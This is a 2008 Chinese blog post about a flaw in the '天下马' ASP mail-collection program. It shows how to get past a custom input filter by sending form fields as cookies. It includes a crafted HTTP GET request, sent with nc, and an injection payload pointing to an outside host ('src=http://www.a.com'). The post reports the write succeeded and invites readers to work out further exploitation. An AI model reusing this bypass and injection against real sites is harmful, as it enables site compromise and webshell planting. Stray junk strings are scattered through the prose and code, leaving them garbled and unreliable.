天下马ASP收信程序漏洞

上一篇 / 下一篇  2008-08-27 07:03:23

最近看了八进制论坛上针对伯乐ASP收信程序漏洞分析,通过提交数据达到获取webshell的方法!正好有朋友让我帮忙看一看天下马的提交问题!主要是由于有些程序使用者自定义了一些函数,使得原来的方法不能够绕过函数,但是昨天看了看,还是可以通过其他方法实现的!
#_ N#nXh-v2A|0
dCXV5vC Q$u}0首先,天下马的其他bug我们这里就不看了,直接看提交过程!
$Q(|XT5`0
&GM'O;ug"\0A7Hg0网上公布的提交过程是类似这种的连接:IXPUB技术博客1vt@2j\Y:C XP0[
IXPUB技术博客;yc a m"t*f)X!G YOj
http://www.xxx.com/post.asp?act=&d00=202&d01=IXPUB技术博客Q#?7Zu[,b7N.zH

{uu ~&h-lI0src=http://www.a.com>&d02=&d10=&d11=17000813&d20=&d21=&d22=&d23=&d30=天下马
M%M*keaK:h o0
Azf!ZY1`j8p0&d31=&d32=1&d33=&d40=0&d41=0&d42=0&d50=&d51=&d98=&d99=123IXPUB技术博客#}_/]+W0?9m,EV
IXPUB技术博客3C y:R/?+K&e
返回如图1所示表示正常插入IXPUB技术博客V3\K'M4dZ

8jmc7^&Q0javascript:if(this.width>500)this.width=500" border=0>IXPUB技术博客$dG:}mj{)W;Ll|

)w^ U$D5Qp)x5g0e0我们来看看察看数据的页面及其部分源代码,如图2所示
:mYR[2__L0IXPUB技术博客7llQg5p iD+a
javascript:if(this.width>500)this.width=500" border=0>
4AU4} a:X!bP*j0
(|5Frs C/Y0但是有些程序却使用了一些自定义函数,针对提交的数据进行验证和过滤IXPUB技术博客yH#t:C JARc x i,m

)BU/L"u)NoY+Th T0我这里有一份代码如下:IXPUB技术博客!o/` _)p;B
IXPUB技术博客(}2RN1MP.{fz/D
[Copy to clipboard] [ - ]CODE:IXPUB技术博客e)h Mp4b V,Yw%F'O

I^k1P2QL0c&\O@_k0相信很多朋友都已经看出来了,正如分析网站系统一样,这个自定义的代码只是针对Request.QueryString和Request.Form进行了过滤,没有对cookie提交的方式进行过滤!那么我们再看看天下马的获取方式
9`i/|OA&l yZ3Z6h0IXPUB技术博客 y `3IVy5w5L,A1i
strAreaName = request("d00")   //还有很多,只写出一个IXPUB技术博客+mDLhts

VR%Y2nuv#Q0....IXPUB技术博客N+?po,Nk
IXPUB技术博客h-Z;z(WW_ K
....IXPUB技术博客7b q/V Hw0~r*r

UD0L-{j9mq2Q%F0if strAreaName  "" then RS("AreaName") = strAreaName   //还有很多,只写出一个
@_ q7e$pED O+{0IXPUB技术博客#^1D5rw nz"C,Z
....
I.ZYn1\(f^3lR0
-F.mF&kE,O|0....
4lw-R;C0ne&z] {I0IXPUB技术博客;Up:Z0t;E~ES
这个是没有经过过滤的天下马的代码,增加自定义函数的页面是将request变量经过了Function CheckStr(ChkStr)的过滤,但是还有一种提交方式就是cookie提交!下面我们看看提交方法!IXPUB技术博客)NYG*{Z
IXPUB技术博客{]'{D K@-h0o
首先是针对正常提交时候进行抓包分析,然后进行数据包的构造,我这里构造的包如下(这里我将真实信息修改了,^_^):IXPUB技术博客1k8yAH#k T1[5['p\t

!J)J4g_(v9n0[Copy to clipboard] [ - ]CODE:
fu B5e+Crp0
UP+Y9_0Q6P0GET /post.asp?
$b1\tj#s#M)H0IXPUB技术博客:zG5V W"](Tb9?k:F/}*|!N
act=&d00=202&d02=&d11=17000813&d20=&d21=&d22=&d23=&d30=cookie&d31=&d32=1&d33=&d40=0&d41=0&d4
^"Hm{#BQE0IXPUB技术博客r;v*y4Om%fJD
2=0&d50=&d51=&d98=&d99=123 HTTP/1.1
C-BT%X7e.Y^~4wZ:O{0
TXQ1r&?%m#W0Accept: */*IXPUB技术博客B!F8Qst!da$c~@
IXPUB技术博客P[&Xb-ig&z
Accept-Language: zh-cnIXPUB技术博客)fbH2M,DJ

%W TC"f*b G0UA-CPU: x86
/O gJ#o/P-L ~1ea#N0
#\E1h@q+y[z[s0Accept-Encoding: gzip, deflate
@7A yo^_*w,L+S-I-l4Ii0
tD v3^ g6x]wJ0User-Agent: Mozilla/4.0 (compatible; MSIE 7.0;WindowsNT 5.1; .NET CLR 2.0.50727)IXPUB技术博客(m?*H#s Q B

.Bf#d"eg#~0Host: xxx.com
a2];Zd-q#Q@"J#t0IXPUB技术博客]6m'Q7d)w:k
Connection: Keep-Alive
w8}E&p,Z0IXPUB技术博客2G(mq'mG:J
Cookie: ASPSESSIONIDCATSSDRC=NAAGENEADMNBDLJJFMKLGMDO;d01=;d10=IXPUB技术博客M;pN8O:gu

'i3I+a rJX0这里的数据我们只需要把通过cookie提交的数据放入cookie项中就可以了,其他可以保持不变!
)\&e3Q;BY7h6~0
ZCTu{0然后使用NC提交!
q#D}&[0sF.v*~#D0
QB;Mgn \p!E0我们来看看察看数据的页面及其部分源代码,如图3所示
9[WVv4I3ii ]0
Rd!ae~0javascript:if(this.width>500)this.width=500" border=0>IXPUB技术博客 A#{9Y+nI!J k@gC
IXPUB技术博客7Yc6m0x,R M
成功写入!IXPUB技术博客/S"U\+[|+i-F5?}

6?w%q X'Y0至于利用方法我想就不需要再多写了,朋友们自己去挖掘吧!
(Ns#G%@2I9Z0

TAG: asp ASP 程序 漏洞 下马

 

评分:0

我来说两句

显示全部

:loveliness: :handshake :victory: :funk: :time: :kiss: :call: :hug: :lol :'( :Q :L ;P :$ :P :o :@ :D :( :)

日历

« 2008-11-20  
      1
2345678
9101112131415
16171819202122
23242526272829
30      

数据统计

  • 访问量: 45258
  • 日志数: 972
  • 文件数: 1
  • 建立时间: 2007-08-10
  • 更新时间: 2008-11-20

RSS订阅

Open Toolbar